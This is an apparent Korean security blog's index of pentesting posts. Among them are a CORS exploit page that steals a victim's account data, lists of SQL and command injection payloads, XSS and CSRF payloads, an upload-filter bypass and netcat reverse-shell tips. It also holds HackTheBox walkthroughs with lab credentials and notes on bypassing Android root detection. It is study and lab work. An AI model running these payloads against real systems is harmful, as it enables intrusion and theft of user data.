tjdwns3752의 등록된 링크

 tjdwns3752로 등록된 네이버 블로그 포스트 수는 50건입니다.

Android7 버전 이상 Burp https 인증서 설치 [내부링크]

첨부파일 openssl-1.0.2j-fips-x86_64.zip 파일 다운로드 ※ SYSTEM인증서를 설치하기 위해서는 루팅된 단말기가 필요함. ※ openssl 첨부파일 다운로드 후 진행 OPEN SSL을 이용한 인증서 생성 360일 만료 기간을 가진 RSA 2048의 개인키를 생성 openssl req -x509 -days 360 -nodes -newkey rsa:2048 -outform der -keyout private.key -out ca.der 명령어를 실행하면 openssl.cnf 파일을 찾을 수 없다는 에러 메세지가 출력된다. "C:\OpenSSL\opeenssl.cnf " 경로에 openssl.cnf 파일을 생성해주면 된다. (OpenSSL 폴더가 없다면 생성 해주면 된다.) openssl.cnf 파일을 정확한 경로에 설치한 후 실행하면 인증서 생성 명령어가 잘 동작하는 것을 알 수 있다. Organizational Unit Name, Common Name 은 인증서

NGINX Path Traversal [내부링크]

https://medium.com/@0nlymohammed/nginx-merge-slashes-path-traversal-bc3793fc1594 nginx merge slashes path traversal This is my first Write-up about path traversal that I find in the DoD I hope you enjoy it while you read it. A vulnerability in the remote Nginx server could cause the server to merge /slash slash/… medium.com

CORS 중요정보 탈취(Node.JS) [내부링크]

※ Node.js 서버 구축 후 중요정보 탈취 CORS 취약 여부 확인 Cross-Origin 요청을 사용해 Spike 계정 정보를 획득하는 것이 목적이다. 요청 헤더 값에 Origin http://127.0.0.1 추가 후 응답 값을 확인 해보면 Accss-Control-Allow-Origin 헤더 값이 추가 되는것을 알 수 있다. 즉 CORS 취약점이 있다는 것을 알 수 있다. 현재 Spike 계정이 로그인 상태이고 CORS 취약점으로 인해 다른 요청 URL(사이트)에서 Spike 계정의 중요 데이터를 가져올 수 있다. CORS 공격 코드를 실행하면 Spike 계정 정보 화면이 출력 될 것이다. CORS 공격코드 cors.html 파일 생성 후 실행 시 Spike 계정 정보를 획득 하는데 성공 하였다. 계정 정보를 해커의 서버로 전송하도록 만들어 보자. Node.js 서버 구축 후 계정 정보 탈취 ※ 환경구성 - APMSetup : apache 웹서버 (cors.html) - N

UPack PE 헤더 분석 (notepad.exe) [내부링크]

※ UPack - Upack(Ultimate PE 패커)은 실행 압축기(PE Run-Time 패커)이다. Upack의 특징은 PE 헤더를 독특한 방식으로 변형시킨다. #1. 헤더 겹쳐쓰기 - MZ 헤더(IMAGE_DOS_HEADER)와 PE 헤더(IMAGE_NT_HEADERS)를 겹쳐씀으로 해서 분석하는데 복잡성을 증가 시켰다. (offset 0) e_magic Magic number = 4D5A('MZ') (offset 3C) e_lfanew File address of new exe header - MZ 헤더 (IMAGE_DOS_HEADER)에서는 다음 두 멤버가 중요하며 그외 나머지는 프로그램 실행에 아무런 영향을 끼치지 않는다. - PE File Format의 스펙에 따라서 IMAGE_NT_HEADERS의 시작 위치가 '가변적'이며 e_lfanew의 값에 따라서 IMAGE_NT_HEADERS의 시작 위치가 결정된다. 보통 정상적인 프로그램에서는 e_lfanew 값은 아래와 같

클라이언트 측 검증 취약점 시큐어 코딩 [내부링크]

클라이언트 측 검증 취약점 - 클라이언트 측 검증 취약점 이란 어떠한 검증을 할때 서버측에서 검증하지 않고 클라이언트 측에서 검증을 할때 발생 하는 취약점이다. 만약 웹 서버에서 클라이언트 측에서 검증 시 응답 값 내 검증로직을 제거 하거나 리다이렉트 코드를 제거 시켜 버리면 우회가 되어 비정상적인 접근이 가능하게 된다. 간단한 회원 가입 페이지 이다. 패스워드와 패스워드확인 값이 틀리면 "비밀번호가 틀립니다." 메세지가 출력된다. 이것을 프록시 툴로 응답 값 내 검증 로직 및 리다이렉트 코드를 제거해보자 프록시 툴로 응답 값 검증로직 제거 후 전송 시 검증 로직이 우회되어 접근 가능한 것을 알 수 있다. 현재 웹 서버에서는 다음과 같이 패스워드 검증을 하고 있다. 자바 스크립트를 이용하여 클라이언트 측 검증을 하고 있다. 이것을 서버측 검증으로 변경해보자 JSP 코드를 이용하여 리다이렉트 시키는 것으로 변경 하였고 response.sendRedirect 메소드 사용 시 자바스크립트

%20을 추가하여 관리자 페이지 패널 접근 [내부링크]

target.com/admin –> HTTP 302(로그인 페이지로 리디렉션) target.com/admin%20/ -> HTTP 200 확인 target.com/%20admin%20/ -> HTTP 200 확인 target.com/admin%20/page -> HTTP 200 확인

SQL 인젝션 구문 종류 [내부링크]

In-line Query : SELECT * FROM ask WHERE idx=192 and 1=1 and user_id='hacker' Terminating Query : SELECT * FROM ask WHERE idx=192 and 1=1-- and user_id='hacker' Stack Query : SELECT * FROM ask WHERE idx=192;delete from ask-- and user_id='hacker' (MS-SQL) Terminating Query 사용이 되지 않고, In-line Query 사용시 논리 연산자 사용이 되지 않을 경우 연결 연산자와 CASE WHEN 구문 사용 정수형 In-line Query : SELECT * FROM ask WHERE idx=(CASE WHEN 1=1 then 9 else 3 end) 문자형 In-line Query : SELECT * FROM member WHERE user_id=''||(CASE WHEN 1=

fridaLab 코드 [내부링크]

fridaLab.py import frida import time device = frida.get_usb_device(1) pid = device.spawn(["uk.rossmarks.fridalab"]) device.resume(pid) time.sleep(1) session = device.attach(pid) script = session.create_script(open("lab.js").read()) script.load() input() lab.js console.log("Script loaded successfully") Java.perform(function x() { console.log("Inside java perform function"); var my_class = Java.use("uk.rossmarks.fridalab.challenge_01"); my_class.getChall01Int.implementation = function () { return

SOP(Same-Origin Policy, 동일 출처 정잭) [내부링크]

SOP(Same-Origin Policy) SOP는 사용자를 보호하기 위한 웹 브라우저의 기본적인 보안 메커니즘으로써, 자바스크립트 엔진 표준 스펙에 포함되어 있다. SOP는 어떤 출처에서 스크립트를 통해 다른 출처의 리소스에 접근하는 것을 제한하는 정책이다. 출처란? URL 스키마(프로토콜), 호스트, 포트까지를 출처(Origin)라고 한다. 즉, URL 스키마, 호스트, 포트가 모두 동일하다면 동일 출처이며, 어느 하나라도 다른 경우에는 다른 출처이다. ex) https://www.chaser.com/sop/origin.html URL 동일 출처여부 사유 https://www.chaser.com/sop/origin.html 동일 출처 URL 스키마, 호스트, 포트 동일하고 경로만 다름. http://www.chaser.com/sop/origin.html 다른 출처 URL 스키마가 다름. https://test.chaser.com/sop/origin.html 다른 출처 호스트가 다

CORS(Cross-site Origin Sharing, 교차 출처 리소스 공유) [내부링크]

CORS(Cross-site Origin Sharing) 특정 웹 애플리케이션의 리소스를 다른 출처(Origin)에서 요청하고 접근할 수 있도록 하는 웹 브라우저의 기술이다. 출저란 일반적인 URL 체계에서 프로토콜(http://, https://와 같은), 도메인, 포트번호까지를 말하며, CORS에 의해 http://aaa.com이라는 웹 사이트에서 http://bbb.com의 리소스에 요청하고 대응되는 응답 내용에 접근 할 수 있게 된다. CORS(Cross-site Origin Sharing) 원리 CORS는 일반적인 HTTP 요청과 응답에 특수한 요청헤더와 응답 헤더를 추가함으로써 동작하게 된다. 단순 요청(Simple Request) http://chaser.com 에서 http://api.chaser.com/some-data 으로 Ajax GET 요청을 통해 데이터를 받아오는 상황은 다음과 같다. 이 때 http://chaser.com 은 자기 자신의 도메인 값을 가진 O

CORS Exploit Code [내부링크]

단순요청(Simple Request) <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title></title> <script type="text/javascript"> function cors(){ var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function(){ if(this.readyState == 4 && this.status == 200){ document.getElementById("response").innerHTML = this.responseText; } }; /* 취약한 웹 URL 요청*/ xhr.open("GET", "https://7be27158102c5ee71d1a3d4ea7cbd76e.pentestgym.com/cors_misconf

SSTI(서버 측 템플릿 인젝션) [내부링크]

SSTI(서버 측 템플릿 인젝션) SSTI 취약점은 서버 측 로직에 인젝션이 가능할 때 발생한다. 템플릿 엔진은 특정 프로그래밍 언어와 연관돼 있으므로 인젝션이 발생할 때 해당 언어에서 임의의 코드를 실행할 수 있다. 으룰 수행할 수 있는지는 엔진이 제공하는 보안 보호 기능과 사이트의 예방 조치에 따라 다르다. SSTI 테스트 방법 SSTI 취약점을 테스트하려면 사용 중인 엔진에 대한 특정 구문을 사용해 템플릿 표현식을 전송하면 된다. 예를 들어 PHP의 Smarty 템플릿 엔진은 표현식을 위해 네 개의 중괄호 {{ }}를 사용하는 반면 ERB는 꺽쇠괄호, % 기호, 등호 <%=%>를 조합해 사용한다. Smarty를 대상으로 하는 인젝션에 대한 일반적인 테스트 방법은 {{7*7}}을 전송하고 페이지에서 입력값이 반영되는 영역(Form, URL Parameter 등)을 찾는 것이다. 이 경우 표현식에서 실행항 코드 7*7이 렌더링된 49를 찾으면 된다. 소프트웨어 식별 구문은 모든 템

PHP 화이트리스트 필터링 우회 (Multiple Extensions 취약점) [내부링크]

화이트리스트 방식 시큐어코딩 (upload.php) 화이트 리스트 방식으로 'jpg', 'jpeg', 'png', 'gif' 확장자를 필터링 처리 하고 있다. 즉 이외의 확장자는 업로드 불가능 하다. Multiple Extensions 취약점 화이트리스트 필터링 코드는 확장자가 소문자인 그림 파일만 업로드가 가능 하도록 하고 있어, 파일명을 c99.php.jpg 로 변경하면 업로드가 가능하다. 웹 서버에서 jpg(이미지파일) 로 인식 하는것이 아닌 php 코드가 정상적으로 실행 되었다. 이러한 현상이 발생하는 이유는 다음과 같다. Apache 다중 확장자 처리 방식 파일은 하나 이상의 확장자를 가질 수 있으며 확장자의 순서는 일반적으로 관계가 없다. 예를 들어, welcome.html .fr 파일이 Content-Type 은 text/html 이며 프랑스어로 매핑되는 경우 welcome.fr.html 파일과 정확히 동일한 정보에 매핑된다. 동일한 유형의 메타 정보에 매핑되는 확장명이

command injection test code [내부링크]

?filename=test.txt`ping -c 5 127.0.0.1` ?filename=test.txt$(ping -c 5 127.0.0.1) ?filename=test.txt|ping -c 5 127.0.0.1| ?filename=test.txt&ping -c 5 127.0.0.1& ?filename=test.txt\nping -c 5 127.0.0.1\n ?filename=test.txt>ping -c 5 127.0.0.1> ?filename=test.txt<ping -c 5 127.0.0.1> ?filename=test.txt-ping -c 5 127.0.0.1 ?filename=test.txt;ping -c 5 127.0.0.1; 참고 사이트 https://www.hahwul.com/cullinan/command-injection/

geohot terminal [내부링크]

.vimrc syntax on set tabstop=2 set shiftwidth=2 set expandtab set ai set number set hlsearch set ruler colorscheme peachpuff highlight Comment ctermfg=green .tmux.conf set-option -g prefix C-b bind-key n last-window bind-key m send-prefix set -g status-position bottom set -g status-bg colour234 set -g status-fg colour137 set -g status-style dim set -g status-left '' set -g status-right '#[fg=colour233,bg=colour241,bold] %d/%m #[fg=colour233,bg=colour245,bold] %H:%M:%S ' set -g status-right-lengt

pwntools 설치 [내부링크]

apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential python3 -m pip install --upgrade pip python3 -m pip install --upgrade pwntools

pwntools 사용법 [내부링크]

1. process & remote - process 함수는 익스플로잇을 로컬 바이너를 대상으로 할 때 사용하는 함수이고, remote 함수는 원격 서버를 대상으로 할 때 사용하는 함수이다. 전자는 보통 익스플로잇을 테스트하고 디버깅하기 위해, 그리고 후자는 대상 서버를 실제로 공격하기 위해 사용한다. from pwn import * p = process('./test') #로컬 바이너리 'test'를 대상으로 익스플로잇 수행 p = remote('example.com', 31337) # example.com의 31337 포트에서 실행 중인 프로세스를 대상으로 익스플로잇 2. send - send는 데이터를 프로세스에 전송하기 위해 사용한다. from pwn import * p = process('./test') p.send('A') # ./test에 'A'를 입력 p.sendline('A') # ./test에 'A'+'\n'을 입력 p.sendafter('hello', 'A') #

gets 입력 값 공격코드 작성 [내부링크]

(python payload.py; cat) | ./goblin

[IOS] objection 중요정보 검색 [내부링크]

1. plist 파일 검색 #1. env 명령입력 후 DocumentDirectory 경로 확인 #2. DocumentDirectory 폴더로 이동 후 plist 파일 목록 확인 #3. ios plist cat userInfo.plist 명령어를 입력하여 확인 2. NSUerDefaults 저장소 검색 #1. ios nsuerdefaults get 3. keychain dump #1. ios keychain dump 4. Core Data(SQLite DB) #1. env 명령입력 후 DocumentDirectory 경로 확인 #2. DocumentDirectory 폴더로 이동 후 sqlite 파일 확인 #3. sqlite connect Coredata.sqlite #4. .tables // 테이블 확인 #5. Select * from Users // Users 테이블 데이터 검색

IAT(Import Address Table) [내부링크]

1. IAT(Import Address Table) - IAT란 Windows 운영체제의 process, memory, DLL 구조 등에 대한 내용이 함축되어 있으며 응용 프로그램이 어떤 라이브러리에서 어떤 함수를 사용하고 있는지를 기술한 테이블 이다. 2. IMAGE_IMPORT_DESCRIPTOR - PE 파일은 자신이 어떤 라이브러리를 임포트(IMPORT)하고 있는지 IMAGE_IMPORT_DESCRIPTOR 구조체에 명시하고 있다. typedef struct _IMAGE_IMPORT_DESCRIPTOR { union{ DWORD Characteristics; DWORD OriginalFirstThunk; // INT (Import Name Table) address [RVA] }; DWORD TimeDateStame; DWORD ForwarderChain; DWORD Name; DWORD FirstThunk; // library name string address [RVA]

EAT(Export Address Table) [내부링크]

1. EAT(Export Address Table) - Windows 운영체제에서 라이브러리(Library)란 다른 프로그램에서 불러 쓸 수 있도록 관련 함수들을 모아놓은 파일(DLL/SYS)이다. - EAT는 라이브러리 파일에서 제공하는 함수를 다른 프로그램에서 가져다 사용할 수 있도록 해주는 핵심 메커니즘이다. 즉 EAT를 통해서만 해당 라이브러리에서 익스포트하는 함수의 시작 주소를 정확히 구할 수 있다. - IMAGE_EXPORT_DIRECTORY 구조체에 익스포트 정보를 저장하고 있다. kernel32.dll Export Table Member RVA RAW Description Virtual Address 0xB59E4 0xB59E4 RVA of EXPORT Directory Size 0xA9DF - size of EXPORT Directory 2. IMAGE_EXPORT_DIRECTORY typedef struct _IMAGE_EXPORT_DIRECTORY{ DWORD C

Base Relocation Table(PE 재배치) [내부링크]

1. PE 재배치 - PE 파일(EXE/DLL/SYS)이 프로세스 가상 메모리에 로딩(Loading)될 때 PE헤더의 ImageBase 주소에 로딩 된다. DLL 파일의 경우 ImageBase 위치에 이미 다른 DLL 파일이 로딩되어 있다면 다른 비어 있는 주소 공간에 로딩된다. 이것을 PE 재배치라고 한다. 즉 PE 재배치란 PE 파일이 ImageBase에 로딩되지 못하고 다른 주소에 로딩될 때 수행되는 일련의 작업들을 의미한다. 2. ASLR(Address Space Layout Randomiztion) - 프로세스가 생성될 때 EXE 파일이 가장 먼저 메모리에 로딩되기 때문에 EXE에서는 재배치를 고려할 필요가 없었다. Windows Vista 이후부터는 보안 강화를 위해 ASLR 기능이 추가되었고 즉 EXE 파일이 실행될 때 마다 랜덤한 주소에 로딩한다. 3. PE 재배치 발생시 수행되는 작업 - 현재 Windows 7에서 notepad.exe의 EP는 00253689이다.

Password reset with manipulating email parameter [내부링크]

Double parameter (aka. HPP / HTTP parameter pollution): [email protected]&[email protected] Carbon copy: [email protected]%0a%0dcc:[email protected] Using separators: [email protected],[email protected] [email protected]%[email protected] [email protected]|[email protected] No domain: email=victim No TLD (Top Level Domain): email=victim@xyz JSON table: {“email”:[“[email protected]”,”[email protected]”]}

SQL INJECTION test pattern [내부링크]

cat=2 OR 1 cat=2 AND 1 cat=2 %26%26 1=1 cat=2 || 1 cat=2/**/OR/**/1 cat=2/**/AND/**/1 cat=2/**/OR/**/1=1 cat=2/**/AND/**/1=1 cat=2 or true cat=2 and true cat=2 and SLEEP(5) cat=2 or SLEEP(5)

netcat (su 명령어 사용) [내부링크]

netcat으로 reverse connection 후 su 명령어를 사용하면 terminal 에러가 뜬다. 아래 명령으로 해결 가능 rlwrap nc -nlvp PORT(7777) SHELL=/bin/bash script -q /dev/null Ctrl-Z stty raw -echo fg reset xterm

Archetype [내부링크]

PortScan nmap -Pn -T4 -A 10.10.10.27 -o nmap.txt port 스캔결과 139,445(SMB),1433(MS-SQL) 포트가 열려 있다는 것을 알 수 있다. SMB(파일 공유)서버에 민감한 정보가 포함된 구성 파일을 저장하므로 익명 액세스가 허용되어 있는지 확인해보았다. SMB smbclient -L \\\\10.10.10.27\\ smbclient 명령어로 확인 결과 익명 액세스를 허용하고 있다는 것을 알 수 있다. backups 공유 폴더 내부를 확인해 보았다. smbclient -N \\\\10.10.10.27\\backups get prod.dtsConfig <DTSConfiguration> <DTSConfigurationHeading> <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDat

oopsie [내부링크]

host IP : 10.10.14.29 target IP : 10.10.10.28 Enumeration 포트 스캔 결과 ssh(22), http(80)번 아파치 웹 서버 포트가 열려 있다는 것을 알 수 있다. 웹 서버(10.10.10.28) 에 접속하게 되면 MegaCorp Automotive 라는 홈페이지가 나온다. dirbuster 실행 결과 /cdn-cgi/login/ 웹 디렉터리 존재를 확인하였고 접속 결과 로그인 페이지가 나온다. 이전 문제(Archetype)에서 획득한 패스워드로 로그인 시도 결과 관리자로 로그인을 성공하였다. Username : admin Password : MEGACOPR_4dm1n!! Uploads 메뉴에 접근하면 "This action require super admin rights" 라는 메세지가 출력 된다. upload 기능을 사용 하려면 최고 관리자 권한이 필요 하다. 할당된 쿠키 값을 확인해보면 user, role 쿠키가 존재 한다는 것을 알

Vaccine [내부링크]

host IP : 10.10.14.10 target IP : 10.10.10.46 Enumeration 포트스캔 결과 vsftpd(21), ssh(22), Web Server(80) 포트가 열려 있다는 것을 알 수 있다. oopsie 문제에서 얻은 ftp 계정 정보로 로그인 해보았다. ID : ftpuser PW : mc@F1l3ZilL4 ftp 서버에 접속하는데 성공 하였고 backup.zip 파일을 다운받는데 성공하였다. backup.zip 파일에는 암호가 걸려있었고 fcrackzip 툴을 이용하여 패스워드를 찾는데 성공하였다. zip 파일에 index.php 파일이 있었고 admin 계정의 MD5 해시값이 소스코드에 노출되어 있다. hashcat 으로 md5 해시값을 Decryption 하는데 성공하였고 admin의 패스워는 qwerty789 이다. 획득한 admin 계정 정보로 로그인 하는데 성공하였다. 검색창에 싱글쿼터(') 삽입 시 Sql Error가 발생한다는 것을 알

PostMessage XSS payload [내부링크]

<html> <head> </head> <body> <!-- <iframe src="https://public-firing-range.appspot.com/dom/toxicdom/postMessage/eval" onload="this.contentWindow.postMessage('window.open(\'http://ssrinc.co.kr\')','*')"> --> <button id="openH1">Click Here</button> <script> var h1Win; function openWin(){ h1Win = window.open("https://public-firing-range.appspot.com/dom/toxicdom/postMessage/eval"); setInterval(sendMessage, 250); } function sendMessage(){ h1Win.postMessage('window.open(\'http://ssrinc.co.kr\',\'_self

smali 로그 추가 코드 [내부링크]

const-string v1, "chaser" // TAG const-string v0, "0000 function call" // TEXT invoke-static {v1, v0}, Landroid/util/Log;->v(Ljava/lang/String;Ljava/lang/String;)I

Unicode XSS payload [내부링크]

\u{61}lert(122); \u{77}indow.open("www.naver.com");

RACTF Insert witty name [내부링크]

문제 설명 : Having access to the site’s source would be really useful, but we don’t know how we could get it. All we know is that the site runs python. 문제 사이트로 접속하면 로그인 페이지가 보이고 소스보기를 하면 “/static?f=index.css” 경로의 외부 스타일 시트를 가지고 있다. 문제 설명에서 웹 사이트가 파이썬 으로 만들어졌다고 했다. 즉 Django, Flask 프레임워크를 이용해서 만들었을 것이다. Django나 Flask 같은 경우 static 디렉터리에 css, 자바스크립트, 모듈들을 저장하는 경로이다. 웹서버의 static 경로에 접속해보았다. 그 결과 TypeError가 출력되었다. 에러에서 파일경로들이 출력되는데 flask 프레임워크가 포함된 경로들이 보이고 app.py, main.py 들이 존재한다는 것을 알 수 있다. main.py 파일에

인시큐어뱅크 루팅 탐지 및 우회 [내부링크]

루팅 탐지 및 우회 취약점 리눅스 커널 2.6을 기반으로 제작된 안드로이드는 리눅스에서 발생하는 취약점들을 내포하고 있다. 해당 취약점은 안드로이드 시스템의 루트 권한을 얻는것을 말한다. 안드로이드의 경우 보안상의 이유로 루트 권한을 막아 뒀으며 각 애플리케이션 실행 시 각 프로그램마다 권한을 부여하여 독립적으로 동작하도록 해두었다. 그렇기 때문에 순정 상태의 안드로이드는 애플리케이션에서 할 수 있는 행위들에 제한이 생긴다. 이러한 제한을 풀거나 우회하는 것을 루팅이라고 한다. 취약점 진단 과정 루팅된 디바이스 탐지와 루팅 시 위협 요소는 다음과 같다. 루팅 체크가 필수적인 금융 앱이나 게임 앱에서는 다음과 같은 경로를 주로 체크한다. /system/bin/su /system/xbin/su /system/app/superuser.apk /data/data/com.noshufou.android.su 인시큐어뱅크 앱의 경우 로그인 하게 되면 루팅된 기기에서 로그인 했을시 "Rooted

HackTheBox Legacy (MS08-067) 취약점 [내부링크]

MS08-067 취약점 MS08-067 취약점은 MS 윈도우의 서버 서비스(Server Service)에서 원격코드 실행이 가능한 취약점이 존재하여 공격자는 조작된 RPC 요청을 전달하는 방식으로 공격, 악성코드 유포 등 취약 시스템을 완전히 장악할 수 있다. NetBI OS 기반의 공유 기능을 담당하는 NetAPI32.dll 라이브러리 파일에서 Stack Buffer Overflow 취약점이 발생하고, 이를 악용해 원격 명령 실행이 가능한 취약점이다. 이 취약점에 영향을 받는 운영체제들은 "Windows 2000, Windo ws XP, Windows Server 2003, Windows Server 2008, Windows Vista" 이다. 취약점 분석 Target IP 10.129.1.252 nmap으로 공격 대상 시스템의 열린 포트와 운영체제 정보를 스캐닝을 진행 하였다. 그 결과 현재 SMB 445 포트가 열려있었고 Windows XP 운영체제를 사용하고 있다는 것을 알

CSRF Token 우회방법 [내부링크]

1.요청방식을 변경하여 우회 일부 사이트는 POST 방식일때만 CSRF Token이 적용되고 GET 방식은 CSRF Token이 적용 안될 수 도 있다. 때문에 요청방식을 GET 방식으로 번경하여 요청해본다. POST 방식으로 email, csrf 토큰값이 전송되고 있다. 이것을 GET 방식으로 변경하여 CSRF 코드를 구성하면 다음과 같다. <!DOCTYPE html> <html> <head> <title></title> </head> <body> <form action="https://ac661f7f1eecc08380e69f96009200be.web-security-academy.net/email/change-email" method="GET"> <input type="hidden" name="email" value="[email protected]"> </form> <script> document.forms[0].submit(); </script> </body> </html> CSRF

Frida 기본 문법 [내부링크]

1. Java.perform(fn) 2. Java.use(className) 3.Java.choose(className, callbacks) 4. Java.setImmediate(fn) 5.Java.enumerateLoadedClasses(callbacks) 6.Overloading 기본 뼈대 구조 Java.perform(fn) - 현재 스레드가 가상머신에 연결되어 있는지 확인하고 fn을 호출 Java.perform(function(){ /* ..... */ }) Java.use(className) - 메소드 후킹시 사용 - Java.use()는 변수와 메소드에 액세스 할 수 있는 클래스 객체를 반환 - 메소드 구현을 변경하려면 새로운 메소드로 덮어 써야 함 - 앱에서 사용하는 클래스와 연동되는 myClass를 정의 - .implementation : 앱에서 정의된 메소드의 구현 내용을 재작성 var myClass = Java.use(com.mypackage.name.class) /

Time Based SQL INJECTION [내부링크]

ORACLE SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual MySQL artist=2 or SLEEP(10) artist=2 || SLEEP(10) artist=2 and SLEEP(10) artist=2 and IF(1=1,SLEEP(10),SLEEP(0)) artist=1 or BENCHMARK(30000000,MD5('abcdefgh')) artist=1 || BENCHMARK(30000000,MD5('abcdefgh')) artist=1 and BENCHMARK(30000000,MD5('abcdefgh')) artist=1 and IF(1=1,BENCHMARK(30000000,MD5('abcdefgh')),SLEEP(5)) MSSQL id=0; WAITFOR DELAY '0:0:5'-- PostgreSQL TrackingId=xa

WayBackMachine JS 수집 [내부링크]

go get github.com/tomnomnom/waybackurls waybackurls internet.org | grep "\.js" | uniq | sort cat js_files_url_list.txt | parallel -j50 -q curl -w 'Status:%{http_code}\t Size:%{size_download}\t %{url_effective}\n' -o /dev/null -sk

JS TIP [내부링크]

1. Burp Suite로 대상 웹사이트 JS파일 내용을 가져온다.(확장자 .js로 저장) 2. less jsfile.js (js 파일내용 확인) 3. js-beautify -o js.beautify jsfile.js (JS-beautify로 js 소스코드 정렬하여 js.beautify 파일로 저장) 4. grep --color -i secret(찾고자 하는 문자) js.beautify grep -E '/rest/|/api' js.beautify --color ()

안드로이드 액티비티 생명주기 [내부링크]

상태 메소드 설명 onCreate() · 액티비티가 만들어질 때 시스템에서 자동으로 호출 · 화면에 보이는 뷰의 일반적인 상태 설정 · 이 메소드 다음으로 onStart() 메소드 호출 onStart() · 액티비티가 화면에 보이기 바로 전에 호출 · 액티비티가 화면에 보이면 onResume() 메소드 호출 onResume() · 액티비티가 사용자와 상호작용 하기 전에 호출 onRestart() · 액티비티가 중지된 이후 호출 · 다시 시작되기 바로 전에 호출 onpause() · 또 다른 액티비티를 시작하려고 할 때 호출 · 액티비티가 이 상태에 들어가면 시스템은 액티비티를 강제 종료할 수 있다. onStop() · 액티비티가 사용자에게 더 이상 보이지 않을 때 호출 · 액티비티가 이 상태에 들어가면 시스템은 액티비티를 강제 종료할 수 있다. onDestroy() · 액티비티가 소멸돼 없어지기 전에 호출 · 액티비티가 시스템으로부터 받는 마지막 호출 · 액티비티가 이 상태에 들어가

SQL INJECTION 패턴 [내부링크]

※ SQL INJECTION Basic Pattern 문자열 ' or '1'='1 ' or '1'='2 ' and '1'='1 ' and '1'='2 ' OR '1' LIKE '1 ' OR '1' LIKE '2 ' and '1' LIKE '1 ' and '1' LIKE '2 정수형 or 1=1 or 1=2 and 1=1 and 1=2 id=1+1 (%2B 인코딩 해야함) id=1-1 (%2D 인코딩 해야함) @@version = 5 (Mysql 5버전 인지 확인) @@versionz = 5 (@@versionz 키워드는 없으므로 에러) ※ ORACLE CASE WHEN Condition Pattern 문자열 SELECT * FROM sql_test_a where FIRST_NAME='MIKE' || (SELECT CASE WHEN(1=1) THEN TO_CHAR(1/0) ELSE '' END FROM DUAL) => 문자형 SQL INJECTION 할때는 TO_CHAR 사용 SELE

Frida Objection Cheat Sheet [내부링크]

App Connection objection --gadget uk.rossmarks.fridalab explore SSLpinning android sslpinning disable Current Activity android hooking get current_activity Clss List android hooking search classes uk.rossmarks.fridalab Search Methods of a class (클래스 메소드 정보 출력) android hooking search methods uk.rossmarks.fridalab MainActivity List declared Methods of a class with their parameters (메소드의 파라미터 정보) android hooking list class_methods uk.rossmarks.fridalab.MainActivity List Classes (현재 로드된 모든 클래스 출력) a

TJCTF XXExternalXX (XXE) [내부링크]

문제 설명: One of your customer all proud of his new platform asked you to audit it. To show him that you can get information on his server, he did a file “flag.txt” at the server’s root. 문제 풀이 문제 사이트로 접속하면 업로드 한 모든 뉴스를 확인하려면 “뉴스” 섹션으로 가라는 메시지가 있다. Show stored data 페이지에 접속해보았다. Show stored data 탭을 클릭하면 뉴스 내용이 보이고 “data.xml” 파일을 읽어 내용을 불러오는 것을 알 수 있다. "data.xml" 대신 "test" 문자열을 입력하면 오류가 표시되는데 file_get_contents 함수로 파일을 읽어오고 loadXML 함수로 XML을 로드한다. file_get_content 함수의 경우 file_get_content("http://hacke r

인시큐어뱅크 취약한 인증 메커니즘 [내부링크]

취약한 인증 메커니즘 취약한 인증 메커니즘(Weak Authorization Mechanism)은 정상적인 인증 절차를 우회하여 비정상적인 인증으로 접근 권한을 취득하는 취약점을 말한다. 일반적으로 다음과 같은 경우에 해당한다. ① 적절하지 않은 앱 퍼미션 설정 여부 ② 서비스 권한 상승 행위에 대한 통제 여부 ③ 기능에 대한 제한 또는 우회 금지 여부 ④ 불필요하거나 사용하지 않는 액티비티 제거 여부 ⑤ 인텐트 사용에 대한 안정성 여부 ⑥ 마스터 키 취약점 대응 여부 취약점 진단 과정 AndroidManifest.xml <activity android:name=".DoLogin" android:label="@string/title_activity_do_login" > </activity> <activity android:name=".PostLogin" android:exported="true" android:label="@string/title_activity_post_login"

인시큐어뱅크 로컬 암호화 이슈 [내부링크]

로컬 암호화 이슈 안드로이드 애플리케이션은 실행되는 도중에 특정 정보들을 저장하는데 만약 평문으로 저장하면 공격자에게 정보가 누출당할 수 있다. 대표적인 암호화 방식은 대칭키 알고리즘과 비대칭키 알고리즘 방식이 있다. 대칭키 알고리즘 대칭키 알고리즘은 하나의 키로 암호화, 복호화 하는 방식이다. 암호화된 암호문은 키가 없으면 볼 수 없으며 암호화한 키로만 복호화 할 수 있다. 하지만 대칭키 알고리즘은 하나의 키만을 사용하여 암호화하므로 만약 키가 노출될 경우 모든 암호문을 복호화 할 수 있게 되는 문제점이 있다. 공개키 알고리즘 공개키 알고리즘은 암호 키(공개)와 복호키(비밀)가 있다. 공개키는 외부에 공개하는 키로, A가 B에게 중요한 정보를 전달하기 위해서는 B의 공개키를 사용해 암호화하면 B의 개인키로밖에 복호화 하지 못하기 때문에 B에게 안전한 정보를 전달할 수 있다. 항목 대칭키 공개키 키의 상관관계 암호화키 = 복호화키 암호화키 X 복호화키 암호화키 비밀 공개 복호화키 비

인시큐어뱅크 액티비티 컴포넌트 취약점 [내부링크]

액티비티 컴포넌트 취약점 안드로이드 액티비티는 애플리케이션을 구성하는 가장 기본적인 구성 단위 중 하나로, 안드로이드 애플리케이션과 사용자 간의 상호 작용에 필요한 기능을 제공한다. 액티비티는 AndroidManifest.xml의 <activity> 요소에 선언하며, 하나의 애플리케이션은 하나 이상의 액티비티로 구성되어 있다. 만약 애플리케이션의 액티비티가 보안적으로 취약하게 선언되어 있으면 로직을 무시하고 공격자가 필요한 액티비티를 강제로 호출하여 권한 없이 특정 기능을 수행할 수 있을수 있다. 액티비티 동작과정 취약점 진단 과정 액티비티 컴포넌트 취약점은 exported 속성이 true일때 발생하게 된다. true인 경우에는 다른 애플리케이션에서 액티비티를 실행할 수 있고, false인 경우에는 동일한 애플리케이션에서만 실행할 수 있거나 같은 사용자 ID를 가진 애플리케이션에서만 실행할 수 있다. exported 값이 포함되어 있지 않은 경우 기본적으로 false로 선언되며 in

RACTF Quarantine (SQL INJECTION) [내부링크]

